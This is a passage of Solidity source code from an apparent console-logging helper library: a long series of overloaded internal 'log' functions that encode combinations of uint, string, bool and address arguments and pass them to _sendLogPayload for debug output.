} function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool 